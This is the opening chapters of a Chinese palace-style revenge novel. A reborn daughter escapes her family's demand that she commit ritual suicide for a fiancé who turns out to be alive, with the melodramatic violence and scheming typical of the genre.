《她被活活逼死后,全家悔不当初》 第1章 你莫不是贪生怕死? “乖女儿,这是娘亲手为你准备的三尺白绫。你这就上路吧。” 再度听到母亲这句话,洛云舒就知道,自己重生了。 上一世,母亲也是这样殷殷相劝。 洛云舒愣神的功夫,母亲孙氏又道:“眼下霍少将军为国捐躯,朝野上下无不称赞。霍家来人说,你与霍少将军早有婚约,眼下理应为他殉节。如此一来,你会成为大魏忠贞不二的典范,世世代代都会为人称颂。” 上一世,她虽觉得霍家强势,可霍少远死了,她实在是难过,深思熟虑后还是选择悬梁自尽,只为全了家族名声,也不负霍少远对她的一腔真情。 她以为,那个偷偷翻墙来看她,只为给她带来一串冰糖葫芦,许诺与她共度一生的霍少远,当真对她情根深种。 她死后,魂魄带她去了最在意的人身边。 然后,她浮在半空,看到了霍少远。 没错,霍少远。 活着的霍少远。 他没死。 他站在一棵盛开的桃花树下,与身侧的女子紧紧相拥。 那女子楚楚动人,赫然便是她的表妹,孙玉瑶。 这一刻,孙玉瑶如玉的手指抚过霍少远俊美的脸颊:“少远哥哥,表姐她、终是为你殉了节。你心里,会不会难过?” “怎会?”说着,霍少远眉目缱绻,修长的指节摩挲着女子腕间的玉镯,“若不是她当初抢了你的玉镯,我又怎会将她错认成你?是她洛云舒骗我在先,她死不足惜!” 顷刻间,洛云舒神魂欲裂。 那玉镯,分明是母亲从她手里要走,说替她保管的那一个。 不曾想,竟是给了孙玉瑶。 那一刻,洛云舒几乎疯魔。 她面目狰狞,愤怒地狂吼,想要冲过去,撞死这对狗男女。 可无论她怎么挣扎,都动不了霍少远分毫。 可现在,她又活了。 洛云舒面无表情,看着母亲孙氏的一张嘴开开合合。 这时候,站在旁边的弟弟洛明辉也附和道:“是啊姐姐,平日里你一向是把家族利益挂在嘴边,时刻劝诫我要好好读书,光耀门楣。如今轮到你为家族出力,你不会是退缩了吧?” 妹妹洛宝珠也说:“姐姐,你经常说哪怕是身为家中的女儿,也要时刻记着谨言慎行,不给家里抹黑。如今霍少将军是为国征战而亡,朝中上下无不称赞。想必姐姐也不愿意苟且偷生,污了家族名声,从而影响我们几个妹妹的婚事吧?” 听着这些,洛云舒心中一片淡漠。 这就是她的好弟弟、好妹妹! 满口为她着想,却是一步步逼她去死! 洛云舒没有答话,只看向坐在主座上的父亲洛守礼:“父亲,这件事,您怎么看?” 洛守礼长叹一声,一副痛心疾首的模样:“为父虽不愿看着你香消玉殒,可为父也知道你心系霍少将军,又在乎家族荣耀,让你苟活于世,那简直是比杀了你还让你难受。既然如此,为父甘愿忍受这锥心之痛,只为全了我儿一腔热忱!” 说完,洛守礼双手掩面,仿佛是难过到了极致。 父亲,是她最敬重的人。 他自幼苦读,从小山村里走出来,得中进士之位,加官进爵。 又在四年前因政绩斐然,得以调入京城,升任户部侍郎。 人都是慕强的,有这样的父亲,她很难不敬佩他。 可现在,她的父亲让她去死。 恍然间,洛云舒回忆起四年前初到京城那一日,父亲把府中的对牌和钥匙悉数交给她:“云舒,你母亲到底是乡野妇人,见识短浅,总爱惹出事端来。往日里在任上倒也无妨,可如今为父到了这京城,须得时刻谨言慎行。家里人亦当如此。你自幼跟着为父读书,心思和见识都远在你母亲之上,既然如此,为父就将管家的权利交给你,望你能规劝你母亲,管束你弟弟妹妹,不为家族蒙羞。” 当时,她为父亲的信任感动不已,爽利地接了这管家的权利。 纵然知道母亲不喜,弟弟妹妹背地里总吐槽她过于严苛,可在她的管束下,母亲温婉之名名扬京城,弟弟洛明辉入读首屈一指的鹿鸣书院,妹妹洛宝珠虽然才十四岁,却也是才名远播,引得京中不少权贵都早早地传递出想结亲的心思。 而她自己,多年来手不释卷,一心苦读,又将自己养成左右逢源的性子,在这京城里得了才女的名声,倾慕者不知凡几。 后来定下与霍少远的婚事,更是人人艳羡。 他们洛家,也算是在这偌大的京城站稳了脚跟。 可现在,她的家人们,全部要逼她去死。 洛云舒一一看过在场的所有人,在他们满含期待的目光中缓缓摇了摇头:“让我这时候为霍少远殉节,怕是不妥。” 洛守礼掩面的双手顿时拿开,脸上隐隐现出几分薄怒:“有何不妥?你莫不是贪生怕死?” 洛云舒缓缓摇头:“父亲,女儿并非贪生怕死之人。可如今女儿虽然和霍少将军有婚约,可毕竟还没有嫁过去。若此时自戕,父亲又该如何安葬女儿?” 依着大魏的规矩,未嫁之女自戕而死,不可入葬祖坟,祠堂里也不会有她的牌位。 上一世,在她死后,父亲随便寻了个地方,将她草草埋葬,不过是给她插了根木牌当做墓碑。 风一吹,那木牌就倒了。 从无人祭拜她,也无人扶起那倒掉的木牌,任由它承受风吹雨打,日渐腐烂,与泥土融为一体。 想到这些,洛云舒的气息有些不稳,险些无法维持表面的镇定。 她强压着心底的情绪,坦然地看着自己的父亲:“父亲,霍少将军为国捐躯,女儿自当为他守节。可,如今我洛家女的名声在京城首屈一指,我若不曾行大婚之礼便上赶着为霍少将军殉情,怕是世人要议论父亲太过谄媚霍家,对您的官声有损。所以,还请父亲与霍家言明,女儿愿嫁给霍少将军的牌位,于大婚当日,以霍家妇的身份为他殉节!” 第2章 大小姐不会放过你! 说完,洛云舒眉眼低垂,显得十分乖顺。 洛守礼最在乎的,就是自己的官位。 做官的人,最在乎的莫过于自己的官声。 若官声有损,就会频繁被人参奏,于升迁有碍。 洛守礼在户部侍郎的位置上待了四年,自然是想再往上爬一爬的。 若不然,当初择婿时,也不会选择家世最好的霍少远。 至于她所说的新婚当日为霍少远殉节,自然也只是权宜之计。 人没死,殉什么节? 果然,短暂的沉默之后,洛守礼略显急促的声音传来:“云舒此言有理。为父这就去跟霍家的人说。” 只是,还不等他出去,霍家的人就走了进来。 来的,是霍少远母亲身边的一个嬷嬷,姓窦。 此刻,窦嬷嬷眼尾挑起,带着几分不耐:“等了这许久,洛大小姐怎么还没悬梁?耽误了我的时间,你们洛家担待得起吗?” 洛云舒面色平静,没说话。 这等场合,自有洛守礼出面斡旋。 不然,她刚才那番话是白说的吗? 孙氏急了,想要上前解释什么,被洛守礼一眼瞪住。 这会儿,洛守礼的脸色有些不喜,却还是耐着性子说道:“窦嬷嬷,云舒尚未嫁过去,若是这般草率地悬梁,终究是不妥。还请嬷嬷回去之后,让霍夫人尽快定下婚期,我女儿自会在新婚当日,抱着霍少将军的牌位殉节!” 窦嬷嬷不耐烦道:“反正都是死,还折腾这一遭做什么?” “嬷嬷此言差矣!”洛守礼神色严肃,慷慨陈词,“如今云舒还是我洛家女,不曾嫁到霍家去。若是这般为霍少将军殉节,终究是于礼不合。” 窦嬷嬷到底是个下人,见洛守礼板着脸说了这些话,到底是有些胆怯。 她缩了缩脖子,语气依旧强硬:“此事我做不得主,须得回去请示我家夫人。可我家夫人现在正是伤心的时候,若是这时候去回禀,只怕会惹恼了她。想必洛大人也知道,我家夫人的脾气一向不怎么好。” 说完,窦嬷嬷看了洛守礼一眼,暗含警告。 洛守礼单手背后,回看过去:“事关礼节,不是小事。” 这便是回绝的意思了。 窦嬷嬷这才讪讪地应了,出了洛家的门。 窦嬷嬷一走,孙氏再也忍不住,对洛守礼抱怨道:“老爷,何必要这样惹恼霍家?霍家在宫里还有位贵妃娘娘呢。” 洛守礼冷冷地瞥了她一眼:“万事,大不过一个礼字。” 说完,洛守礼再不看孙氏,径直看向洛云舒:“云舒,你放心,为父就算是拼了这户部侍郎的位置,也要给你争一个名正言顺,不会让你受委屈的!” 洛云舒屈身行礼,语气不悲不喜:“女儿谢过父亲。若无事,女儿就退下了。” 洛云舒话音落下,洛守礼还没说什么,孙氏就急不可耐道:“云舒,我也随你过去,把府上的对牌和钥匙都拿上!” 说完,察觉到洛守礼暗含责怪的眼神,孙氏急忙给自己找补:“老爷,我这也是替云舒着想。现在霍少将军没了,她正是伤心的时候,这个时候,就别让府上的这些俗务烦着她了。” 洛守礼正要拒绝,洛云舒已经开口:“母亲此言有理。” 待回到自己的芷荷院,却没看到灵雀和知意。 灵雀和知意是她的贴身丫鬟。 刚才她被父亲和母亲叫过去的时候,恰逢庄子上的管事拿着账本来回话,她二人须得看账本,就没让她们俩跟着。 可是,没有她的吩咐,二人绝不会擅自离开芷荷院。 除非,是被人强行带走的。 果然,当洛云舒快步走进房间,看到倒了的桌椅,就已经心中了然。 她回身看向紧随其后,等着拿对牌和钥匙的孙氏:“灵雀和知意呢?” 孙氏眼神闪烁:“她们是你房里的丫鬟,我怎么会知道?许是犯了贱病,藏到哪处躲懒去了。” 洛云舒没说话,径直看向孙氏身后, 往日里,与孙氏形影不离的曹嬷嬷不在。 孙氏却在这一瞬意识到了什么,转身就往外跑,跑了两步之后许是觉得不妥,立刻回身对洛云舒说道:“我突然想起有件事没办,对牌和钥匙先不急着拿。” 说完,孙氏忙不迭地跑了,连洛云舒跟在她身后都不知道。 洛云舒步步紧跟,看到孙氏去的大致方向之后,她猜出孙氏要去的是后院的柴房。 想到灵雀和知意,洛云舒心中不安,她绕开孙氏,迅速往后院柴房赶去。 尚未靠近柴房,她就听到里面传来知意的惨叫声,其中,还夹杂着灵雀的怒骂:“老虔婆,你敢这么对我们,大小姐不会放过你!” “哈哈,大小姐?不妨告诉你们,现在大小姐只怕都凉了。” “你、你什么意思?” 曹嬷嬷的声音尽显得意:“上吊了呗。你们的主子没了,以后须得听我的吩咐,不然,明年今日就是你们的死期!” 顷刻间,两声绝望的悲鸣从柴房里传了出来。 与之相反的,是曹嬷嬷快意的笑声:“要不说你们两个都是贱蹄子呢!平日里跟着大小姐,瞧瞧给你们猖狂的。如今你们的主子没了,以后府里是夫人管家,你们一个个都给我乖乖夹着尾巴,不然,我第一个不饶你们!” 说着,有棍子打在身上的声音传来。 可这一次,灵雀和知意却没有叫。 曹嬷嬷狞笑道:“看来,你们还是识时务的。既然如此,以后乖乖听我的话,我还能赏你们一条活路!啊……” “知意,跟她拼了,给大小姐报仇!” 是灵雀的声音。 但,里面很快传来曹嬷嬷愤懑的声音:“好哇,居然敢对我动手!真是不想活了!来人,把他们俩架起来绑在柱子上,就地打死!” 第3章 殉节之事,奴婢替您 这时候,洛云舒终于赶到。 踹开房门后,里面的场景让她目眦欲裂。 四个小厮分别按住灵雀和知意,手里的棍子正要往二人身上落。 几人听到动静回过神来,看到是洛云舒,一个个吓得目瞪口呆,连手里的棍子都掉了。 曹嬷嬷更是惊讶:“大小姐,您怎么……” 灵雀和知意看到洛云舒,却是高兴得厉害,一边挣扎一边叫道:“大小姐!” 看着灵雀和知意嘴角带血,鼻青脸肿的样子,洛云舒径直看向曹嬷嬷。 洛云舒管家的手段,曹嬷嬷之前是见识过的。 她轻易不出手,一出手,必定是雷霆手段,绝不手软。 故而洛府的下人在洛云舒面前,从不敢造次。 曹嬷嬷吓得双腿一软,立刻跪下:“大小姐,是……” “曹嬷嬷,你好大的胆子!灵雀姑娘和知意姑娘是云舒身边的人,平日里吃穿用度和云舒一般无二,说是府上的小姐也不为过。你怎敢如此对待她们?” 是孙氏,她赶过来了。 呵斥完曹嬷嬷,孙氏回身看向洛云舒,脸上带着讨好的笑意:“云舒,是曹嬷嬷不懂事,啊……你!” 当着孙氏的面,洛云舒捡起掉落在地的棍子,径直砸向曹嬷嬷的脑袋。 曹嬷嬷甚至都没来得及发出一声惨叫,就倒在了地上。 随后,洛云舒丢了手里的棍子,看向孙氏,轻飘飘道:“都这把年纪了还不懂事,也就不必活了。母亲,您说呢?” 孙氏看着倒在地上口鼻出血,抽搐了几下就没了动静的曹嬷嬷,吓得身子都软了,扶着门框直喘粗气:“你、你怎敢杀人?曹嬷嬷她、跟了我多年啊!” “母亲,方才说让我悬梁的时候,您尚且没有这般激动。当时,您可是平静得很啊。怎么,在您心里,女儿还比不得一个曹嬷嬷吗?” “这如何能混为一谈?你悬梁是为了殉节,是为了大义,母亲为你骄傲。” “曹嬷嬷无故殴打我的贴身丫鬟,行事不端。如今我亲自处死了她,她也算是死得其所。我行事如此公允,母亲同样应该为我感到骄傲。” “你强词夺理!” 洛云舒轻飘飘地看了她一眼:“母亲今日倒是聪慧得很。您方才刚一过来,连这里的情形都没有看清楚,就直接开口呵斥曹嬷嬷,显然是知道她做了什么。母亲怎会知道?” “我……”孙氏一紧张,卡壳了。 洛云舒不再看她,只看向灵雀和知意:“还能走吗?” 灵雀快人快语,立刻道:“能走的,大小姐。这老虔婆还指望我们帮她办事,巴掌也只往脸上招呼。” 洛云舒冷笑:“这曹嬷嬷也是好算计。知道你们平日里帮着我办事得心应手,就想着收为己用。只可惜,这个福气,她没命享!” 表面上,她这话是回应灵雀,实际上,却是说给孙氏听的。 说完,洛云舒转身就走,连眼神都没给孙氏一个。 灵雀和知意随后跟上。 二人向来谨慎,一路上谨言慎行,什么都没问。 直到回了芷荷院,灵雀再也忍不住:“大小姐,这到底是怎么回事啊?” 知意向来话少,殷切地望过来。 洛云舒拿过药膏,示意灵雀近前来。 她一边往灵雀脸上涂药膏,一边轻描淡写地说道:“霍家来人,让我为霍少将军殉节。” “啊?”灵雀义愤填膺,“他们霍家好不要脸,不过是国公府邸,又不是天王老子。怎的他们家死了人,还得让未过门的妻子殉节?不对,这样离谱的要求,老爷和夫人也能答应?” 知意满脸担忧:“大小姐,您逃吧。殉节之事,奴婢替您。” 洛云舒正要说话,门外传来传话丫鬟的声音:“大小姐,老爷身边的周管事送来手书一封,请您过目。” 无须洛云舒吩咐,知意就已经走出去,将手书取来。 洛云舒打开手书,上面的一行字映入她的眼帘:霍家传信,三日后迎娶。 简简单单的九个字,预定了她的死期。 灵雀和知意见洛云舒脸色不对,急忙凑过来看。 这一看,脸色惨白。 二人齐齐跪下去:“大小姐,您逃吧。” 知意的心思更活泛一些:“大小姐,咱们安排去安州的货船今晚会开走。您这会儿拿住奴婢和灵雀的错处,发话将我二人赶出去。然后,您假扮成奴婢带着灵雀登船离开。大婚之日,奴婢替您上花轿。若担心这两日事情败露,也可推迟一日。” 知意经洛云舒调教多年,心思缜密。 洛云舒摇了摇头。 她不打算逃。 “灵雀,你出去一趟,让姜叔帮我办件事。”说完,洛云舒让灵雀附耳过来,低声说了些什么。 待灵雀走了之后,洛云舒又看向知意,吩咐道:“知意,你现在就拟帖子,邀请与我相好的闺秀,就说明日我在城外的庄子办春日宴,请她们务必赏脸。” 帖子发出去,很快就有了回应。 因着她之前的经营,不少闺秀都肯卖她这个面子。 洛云舒正整理着回帖,就看到洛守礼沉着脸走了进来。 “霍家那边正是愁云惨淡的时候,你这会儿大张旗鼓地办春日宴,就不怕惹恼了霍家?” 洛云舒将手里的回帖放下,眉目平和:“女儿与京城大半的贵女交好,往日里给了父亲不少助益。如今女儿即将为霍少将军殉节,临死前,与她们再见一面,也算是全了往日的情谊。顺便,听闻父亲最近正在忧心钱粮一案,所以,女儿约了丞相之女阮清辞,打算探探她的口风,也好借此知道丞相大人对此事的态度。” 洛守礼面色一缓:“你、你竟还想着这个?” “自然。身体发肤,受之父母,女儿的一切都是父亲给的。如今为父亲做这些,也是女儿应尽之责。” “云舒,你果真是为父的好女儿。你放心,你殉节之后,为父会禀明族老,将你的事迹写入族谱,供我洛氏族人世代瞻仰。” “那女儿就先谢过父亲了。”洛云舒垂眸,掩去眼底的万千情绪。 “好。这春日宴你办的热闹些,无须顾虑花费。首饰什么的,只要你想要,尽管去买。” “女儿谢过父亲。” 洛守礼转身要走,却在这时候看到孙氏急不可耐地走了进来。 第4章 等风头过了,你再回来 “老爷,云舒马上就要嫁去霍家。这对牌和钥匙是不是该交给我了?”孙氏着急得很。 洛守礼瞪她一眼:“急什么?” 洛云舒上前,微施一礼:“母亲放心,女儿这就让知意和灵雀整理账册,明日一早就把东西给您送过去。” 孙氏喜不自胜:“云舒,你果然是娘的好女儿。娘这就找人,给你打个大大的金镯子,待出嫁那日你戴上,随你一起入殓。如此一来,也能保佑你来世过上富贵日子。” “让母亲破费了。”洛云舒语气平静,表情不悲不喜。 “好说好说。这做母亲的,不就是时时刻刻为儿女考虑吗?”孙氏笑得见牙不见眼睛,欢欢喜喜地走了。 洛守礼神色讪讪:“云舒,你母亲她人不坏、就是没什么心眼。” “父亲,我知道的。” 送走洛守礼,洛云舒吩咐知意和灵雀:“你二人叫刘管家过来,把府上的账册整理一番。明日一早给夫人送过去。” “是。”二人异口同声地应着,彼此对视一眼,眼底有了些笑意。 真好,小姐要出手了。 第二日一早,还没等他们俩去送,孙氏已经带人赶了过来。 “云舒,你今日要办春日宴,忙得很。这不,我就自个儿过来了,免得你再跑一趟。” “多谢母亲体恤。” 洛云舒说完,不等她吩咐,知意已经把放账册、对牌和钥匙的小匣子捧了出来。 “大夫人,东西都在这里,请您过目。” 孙氏伸着脑袋看了一眼,立刻眉开眼笑,接过去,交给自己的大丫鬟绿枝。 之后,她伸手入袖,取出一个金镯子,套在洛云舒手腕上:“云舒,你瞧,这金镯子沉得很呢。” 洛云舒瞥了一眼:“多谢母亲。” 孙氏拍了一下洛云舒的手,嗔道:“傻丫头,我是你亲娘。还用得着跟我说谢谢?” 洛云舒回之一笑。 这时候,站在孙氏身后的洛宝珠再也忍不住,噘着嘴嘟囔道:“母亲偏心!为何只给姐姐做金镯子,不给我做?” 孙氏瞪了她一眼:“你姐姐平日里管家,辛苦得很,这金镯子是我奖励她的。” “我学刺绣、学琴也很辛苦,怎么不见母亲奖励我?”洛宝珠跺着脚,满脸不忿。 洛云舒从手腕上褪下金镯子,套在洛宝珠的手腕上:“既然妹妹喜欢,给你就是。” 洛宝珠摸着金镯子,喜不自胜。 孙氏却抓住她的手腕,把那金镯子拽了下来,斥道:“还给你姐姐!” 洛宝珠委屈坏了,大吼道:“母亲就是偏心!” 又看向洛云舒,控诉道:“假惺惺!你若是真想给我,为何不私下里给我?现在当着母亲的面给,不就是觉得母亲一定会为你出头吗?哼!” 说完,洛宝珠恨恨地跺了一下脚,跑走了。 孙氏往前追了几步,又跑回来,把手里的镯子塞进洛云舒手里,这才转身去追洛宝珠。 灵雀不解:“大小姐,夫人这是做什么?” 洛云舒把镯子递过去:“你仔细掂量掂量就知道了。” 灵雀跟在洛云舒身边,见过不少好东西。 她拿在手里,仔细感觉了一下,脸色顿时就沉了下去:“是金包银。夫人怎会这样?” 往日里,除了该给的份例,洛云舒可没少私下贴补孙氏。 可现如今,孙氏给了一个金镯子,竟还是金包银! “大小姐,您刚才为何不拆穿夫人?她这样实在是太过分了!” 洛云舒淡淡一笑:“直接拆穿多没意思,且留着这镯子,以后有大用处。今日的春日宴要紧,其他的,先不计较。” “是,大小姐。” 今日这春日宴,设在城外的庄子上。 庄子上有一片樱桃林, 这会儿正是成熟的时候。 这次春日宴的食材,就以樱桃为主。 身为主家,洛云舒早早地就过去了。 因着昨日吩咐过,庄子上的人已经采摘了不少新鲜的樱桃。 厨娘也都已经到位,开始烹制餐食。 春日宴的餐食,以精巧为主。 洛云舒巡视一圈,见没什么问题,就坐在池塘边的亭子里,看着池子里的金鱼。 这时候,接连两个声音响起:“大姐!” “大姐姐!” 洛云舒转身看过去,是洛宝珠和堂妹洛婉。 洛婉是她二叔家的女儿,与洛宝珠同岁。 “大姐,这春日宴,母亲让我也来。”洛宝珠微微扬起下巴,有些得意。 洛云舒看了看不远处站着的几个身强力壮的婆子,这几人是跟着洛宝珠来的。 是孙氏的安排。 怕她借着这个机会逃跑。 洛云舒心知肚明,却不拆穿。 洛宝珠又说:“大姐,母亲说了,你后天就要嫁去霍家,你从前经营的关系以后家里就用不上了。为了以防万一,母亲让你今日务必跟你那些交好的闺秀好好夸夸我。日后若是有什么宴会可得记得叫上我。” “知道了。” “你知道就好。” 说完该说的,洛宝珠四处看,很快就自己找乐子去了。 洛婉没走,她小心翼翼挪到洛云舒身边:“大姐姐,你那么聪明,一定有法子解决这个难题的,是不是?” “什么难题?”洛云舒明知故问。 “我听下人议论,霍家要你殉节。” “是有这回事。” 洛婉看了看左右:“大姐姐,我替你挡一阵。你趁着这个机会回云州老家,我爹娘都在那儿。他们会护着你的,等风头过了,你再回来。” 洛云舒看着洛婉。 从前,洛婉贞静温柔,跟个小白兔似的,几乎没什么存在感,洛云舒竟不知她这样有主意。 “你替我挡着,不怕你大伯、大伯母怪罪你?” 洛婉怕的脸色发白,嘴却硬:“他们总不会要我的命。” “那可未必。他们连我的命都能葬送。” “要真是这样。那也是我的命。”洛婉咬着下唇,神色决绝,“当初是大姐姐给我爹钱,我弟弟才有钱读书,也是你把我从云州老家接到京城来。这份恩情,我不能忘。” 洛云舒笑了笑,神色从容:“婉婉,无论到什么时候,都不要为谁放弃自己的性命。” 一股脑儿说了这么多话,洛婉有点不好意思:“大姐姐,为你,我愿意的。” “放心,我不会死。现下的时节这样好,如此美好的春光,我还没看够呢。” 洛婉似是明白了什么,沉默下来,安静地坐在洛云舒身边。 没多久,洛云舒宴请的闺秀就三三两两地到了。 洛云舒的人缘一向不错,没多久,闺秀们全都到齐。 这春日宴的场地设在庄子后院的樱桃林里,搭了棚子防晒,周围搭配着野花,别有一番野趣不说,又清爽。 众人落座之后,都夸洛云舒这宴会办得好。 一片恭维声中,一个突兀的声音响起:“洛云舒,你这会儿办的哪门子的春日宴?” 第5章 你是招牌,也是挡箭牌 洛云舒看过去。 说话的,是御史大夫海刚正的女儿,海云澜。 洛云舒看向一众闺秀,眉目温和:“实不相瞒,后日便是我嫁入霍家的日子……” 她的话还没说完,就被海云澜打断:“霍少将军已经没了,你还嫁过去做什么?” “霍少将军为国捐躯,居功至伟,我能与他有这一桩婚约,是我此生之幸。大婚之日,我愿悬梁自尽,为他殉节。” 洛云舒话音落下,四座皆惊。 历朝历代,未婚夫婿丧命,未婚妻还坚持嫁过去守活寡的,本就少之又少。 这嫁过去当天就要悬梁殉节的,更是绝无仅有。 一众惊讶的目光中,洛云舒缓缓开口:“今日请诸位姐妹前来,既是邀大家共赏这春日美景,亦有告别之意。” 说着,洛云舒端起面前的樱桃果酒,唇角带着笑意:“诸位姐妹,山高水长,愿来世有缘,再与各位姐妹相聚!” 说完,洛云舒双手举杯,将杯中的果酒一饮而尽。 “你疯了?”海云澜冲过来,不容置疑地说道,“他霍少远有什么好,怎就值得你殉节?好好活着不好吗?” 海云澜话音刚落,另一个女子就冷哼一声:“海云澜,这是我霍家的事情,她洛云舒自己愿意,和你有什么关系?” 是霍少远的妹妹,霍娇娇。 看到霍娇娇,海云澜更来气:“霍娇娇,你们霍家的人就这么心狠,能眼睁睁看着一条鲜活的生命香消玉殒?” “她与我哥哥早有婚约,生是我哥哥的人,死是我哥哥的鬼!” “哼,你们霍家一向强势,洛云舒殉节这件事,该不会是你们霍家逼迫的吧?” 霍娇娇气得直瞪眼:“你胡说什么?谁能逼她去死?” 海云澜打量着霍娇娇:“你这个人向来是一说谎就脸红。瞧,你这脸又红了。” “我脸红,是因为我热。” 这时候,海云澜笑了:“其实,你的脸压根儿就没红。” “好哇,你耍我。” “可是,你承认你脸红了,这也就意味着,你知道自己说谎了,竟然还用天热来掩饰。呵,在座的大家都不热,难道就你热?” “海云澜,有你什么事儿啊?”霍娇娇气坏了,头上的步摇跟着乱颤。 …… 海云澜和霍娇娇二人,你来我往, 吵得很是热闹。 丞相之女阮清辞缓步走到洛云舒身边坐下,压低了声音问道:“洛狐狸,你闹这一出,所图为何?细说。” 洛云舒无辜地看了她一眼:“清辞姐姐说什么呢?我可什么都不知道。” “你少装。以你的性子,要真打算后天殉节,是绝对不会办什么宴会的。所以,你没打算死。” 洛云舒莞尔一笑:“知我者,清辞也。” “听说霍家张罗喜事,我就想去你府上找你,紧接着收到你办春日宴的帖子,我就猜出来你是有事要办。说说看,你打算如何破局?” 洛云舒笑笑:“偏不告诉你。你啊,就等着看好戏吧。” 阮清辞瞪了洛云舒一眼:“你又故弄玄虚。好哇,那我就等着看。不对,你今日宴请的这些人,有几个大嘴巴又爱搬弄是非的,你是不是故意的?” “是。” 阮清辞露出一副果然如此的表情,转瞬想到洛云舒之前也不怎么邀请她,不由得看向她,问道:“那你今日邀请我,又有什么目的?” 洛云舒笑笑:“你是招牌,也是挡箭牌。” “啥意思?” 洛云舒笑而不语。 如果不是邀请了阮清辞,她那唯利是图的父亲怎么会允许她不拘花费来办这宴会呢? 不拘花费,那可真是太好了。 阮清辞一肚子疑问,偏偏什么都问不出来,气得就差抓耳挠腮了。 洛云舒笑着看她:“知道我往日里办的宴会为何不怎么邀请你吗?” 阮清辞借着袖子的遮掩撇了撇嘴:“我爹是丞相,你若是邀请我,怕给人留下谄媚的印象,毁了你洛氏长女清雅温婉的好名声。” “错。是怕你没有我会装,装不了那么多次。” 阮清辞眯眯眼睛,露出一副果然如此的表情。 对于接下来发生的事情,她更期待了。 眼见着霍娇娇和海云澜越吵越凶,马上就要动手薅头发了,洛云舒恰好出来当和事佬:“云澜、娇娇,你们别吵了。大家都是姐妹,别因为我的事情伤了你们之间的和气。” “谁跟她是姐妹!”二人异口同声怒吼。 洛宝珠这时候走出来,不满地看了海云澜一眼:“海云澜,这是我们洛家和霍家的事情,轮得着你插嘴吗?” 海云澜气得要紧,当即就要反驳。 不等她开口,洛云舒先一步开口,斥责洛宝珠:“宝珠,你闭嘴。” 说完,洛云舒看向海云澜:“云澜妹妹,多谢你为我出头。” 一时间,海云澜说不出话来。 虽然她一向不怎么喜欢洛云舒,但是眼睁睁看着这么一个鲜活的生命一步步走向死亡,她还是觉得不忍心。 霍娇娇一下子得意起来:“海云澜,这件事就算是我们霍家逼迫又如何?不还是得她洛云舒自己愿意吗?” 海云澜气得要紧,被洛云舒按了一下手。 之后,洛云舒走到霍娇娇面前,扬手甩了她一个耳光。 霍娇娇一脸的不可置信。 她怎么也不敢相信,一向对她唯命是从的洛云舒,居然敢打她! “洛云舒,你好大的胆子!你居然敢打我?” “娇娇。”洛云舒叹了口气,“我嫁过去,便是你的长嫂。有道是长嫂如母,你说错了话,我教训你,不应该吗?” “我说错什么了?本来就是我们霍家让你死的,我们霍家让你死,你就不得不死。洛云舒,你得意个什么劲儿啊?” 洛云舒看着霍娇娇,像是愣住了。 无人知,此刻她心里有多兴奋。 她终于,激怒了霍娇娇,逼她说出殉节之事是霍家逼迫。 霍娇娇这个人虽然冲动,但到底还是有脑子的。 所以,她才故意要甩她一个耳光,要激怒她。 愤怒的人,说话的时候只想着要畅快,不会考虑其他。 而霍娇娇说完之后,看着周围人看她的眼神,才意识到自己说错了什么。 她立刻摇头:“不,不是……” 但,洛云舒已经转过身去,朗声对众人说道:“诸位姐妹,对不住,扰了大家的兴致。这春日宴若是就这么干巴巴地坐着,未免无趣。听闻西山脚下这会儿风景正好,不如我们去游玩一番,可好?” 第6章 我莫不是在做梦? 说完,洛云舒特意看了阮清辞一眼。 阮清辞会意,笑道:“云舒这话可算是说到我心坎儿上了。春光正好,如此乘兴而游,也是一大乐事。” 阮清辞说完,便率先起身。 众人也接连起身,去门口等府里的下人赶马车过来。 一时间,无人在意霍娇娇说什么。 霍娇娇气急,疾走几步到了洛云舒跟前,怒声道:“洛云舒,你这是搞的什么鬼把戏?” “你说错了话,我在为你遮掩,转移大家的注意力。” 霍娇娇冷哼一声,低声威胁道:“不要以为我不知道你耍的什么鬼心眼,你不就是想趁着大家都在,好趁机逃脱吗?我告诉你,你休想!” 说完,霍娇娇就招呼下人赶紧把霍府的马车赶过来。 车队开始行动之后,霍娇娇的马车紧跟着洛云舒的。 洛云舒的马车上,灵雀有点担心:“大小姐,霍小姐一直跟着,会不会坏了咱们的事?” “放心,不会。” 到了西山脚下,众人纷纷下了马车。 这会儿小草嫩绿,野花盛开,旁边的小溪流水潺潺,倒是独一份儿的美景。 不少闺秀第一次来,都感叹于这里的美景。 这时候,有人眼尖,瞧见不远处透出一些粉色来。 “是桃花!”有人兴奋道。 “看错了吧?这个时节桃花早就败了,桃子都长出来了。” “这你就不知道了吧?古诗有云‘人间四月芳菲尽,山寺桃花始盛开’。你瞧那处地方,虽是在山脚下,却是在背风处,前面有块巨石挡着,温度比别处要低。既然如此,桃花在这里开放也就不足为奇了。” 有人议论,就有人跃跃欲试,想去那里看桃花。 也有人嫌距离远,怕走得脚痛,不愿意去。 但更多的人还是想去瞧一瞧。 毕竟,她们这些人鲜少出门,这次出门能看到与往日不一样的景色,还是很兴奋的。 洛云舒就在想去的人之中。 霍娇娇和洛宝珠时刻留意着洛云舒的动静,见她想去,二人也要跟着去。 还带了好几个身材结实的仆妇。 如此一来,想去的闺秀就有七八个。 再加上各自的丫鬟和奶嬷嬷,人数也不算少。 一行人走得近了一些之后,发现那竟是一处桃花林。 二月的桃花是寻常所见的景致,可在四月见到这灼灼的桃花,就是另一重美好了。 众人都有些兴奋,不由得加快步子,走进桃花林之中。 然而,身处桃花林之后,众人才惊觉,这桃花林之中,掩映着一座木制的小房子。 还设了矮墙,院中架了秋千,十分雅致。 有人感叹:“住在这里的人,莫不是神仙吧?” “嘘!”洛云舒朝着说话的人做了个噤声的手势,“咱们来这里,本就是打扰了人家。这会儿咱们先别发出动静,且先上前去,跟主人家说一声。若是得了主人家的允许,咱们也可以玩得更尽兴些。” “是这个理儿,那大家都把步子放轻。” 一行人刻意放轻步子,朝着小屋靠近。 洛云舒走在中间的位置,缓步而行。 却在这时,听到走在最前面的人发出一声低低的惊叹:“瞧瞧,这还真是神仙眷侣啊。” 洛云舒循声望去,看到那小屋旁,灼灼盛开的桃树下,一对男女正深情相拥。 男的一身青色锦袍,玉簪束发,挺拔如修竹。 女的穿着一袭白衣,手腕上的玉镯映着阳光明晃晃地闪着。 这一刻,洛云舒几乎要克制不住内心的怒气。 她恨不得现在就冲过去,质问霍少远为何要这样对她。 可她,生生忍住了。 此事筹谋到现在,不可功亏一篑。 于是,洛云舒故意踩断树枝,发出一声脆响。 树下的人被惊动,本能地朝着这边看过来:“谁!” 这一看,双方都惊呆了。 那盛开的桃花树下,长身玉立的男子,正是霍少远。 此刻,众人将他脸上的惊讶一览无余。 